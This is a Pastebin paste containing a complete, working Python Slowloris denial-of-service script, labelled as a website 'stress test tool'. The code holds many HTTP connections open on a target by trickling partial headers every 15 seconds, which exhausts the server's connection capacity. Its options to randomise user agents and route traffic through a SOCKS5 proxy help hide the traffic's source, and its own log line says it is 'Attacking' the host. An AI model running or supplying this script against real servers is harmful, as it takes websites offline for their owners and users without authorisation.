SHARE
TWEET

Untitled

a guest Mar 15th, 2017 102 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import socket, random, time, sys, argparse, random, logging
  3.  
  4. parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
  5. parser.add_argument('host',  nargs="?", help="Host to preform stress test on")
  6. parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
  7. parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
  8. parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
  9. parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
  10. parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
  11. parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
  12. parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
  13. parser.set_defaults(verbose=False)
  14. parser.set_defaults(randuseragent=False)
  15. parser.set_defaults(useproxy=False)
  16. args = parser.parse_args()
  17.  
  18. if len(sys.argv)<=1:
  19.     parser.print_help()
  20.     sys.exit(1)
  21.  
  22. if not args.host:
  23.     print("Host required!")
  24.     parser.print_help()
  25.     sys.exit(1)
  26.  
  27. if args.useproxy:
  28.     print("Using SOCKS5 proxy for connecting...")
  29.     try:
  30.         import socks
  31.         socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
  32.         socket.socket = socks.socksocket
  33.     except ImportError:
  34.         print("Socks Proxy Library Not Available!")
  35. if args.verbose == True:
  36.     logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
  37. else:
  38.     logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
  39.  
  40. list_of_sockets = []
  41. user_agents = [
  42.     "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
  43.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  44.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  45.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  46.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  47.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
  48.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  49.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  50.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  51.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  52.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  53.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
  54.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
  55.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  56.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
  57.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  58.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  59.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  60.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
  61.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  62.     "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  63.     "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  64.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
  65.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
  66. ]
  67.  
  68. def init_socket(ip):
  69.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  70.     s.settimeout(4)
  71.     s.connect((ip,args.port))
  72.  
  73.     s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
  74.     if args.randuseragent:
  75.         s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
  76.     else:
  77.         s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
  78.     s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
  79.     return s
  80.  
  81. def main():
  82.     ip = args.host
  83.     socket_count = args.sockets
  84.     logging.info("Attacking %s with %s sockets.", ip, socket_count)
  85.  
  86.     logging.info("Creating sockets...")
  87.     for _ in range(socket_count):
  88.         try:
  89.             logging.debug("Creating socket nr %s", _)
  90.             s = init_socket(ip)
  91.         except socket.error:
  92.             break
  93.         list_of_sockets.append(s)
  94.  
  95.     while True:
  96.         logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
  97.         for s in list(list_of_sockets):
  98.             try:
  99.                 s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
  100.             except socket.error:
  101.                 list_of_sockets.remove(s)
  102.  
  103.         for _ in range(socket_count - len(list_of_sockets)):
  104.             logging.debug("Recreating socket...")
  105.             try:
  106.                 s = init_socket(ip)
  107.                 if s:
  108.                     list_of_sockets.append(s)
  109.             except socket.error:
  110.                 break
  111.         time.sleep(15)
  112.  
  113. if __name__ == "__main__":
  114.     main()
RAW Paste Data
Top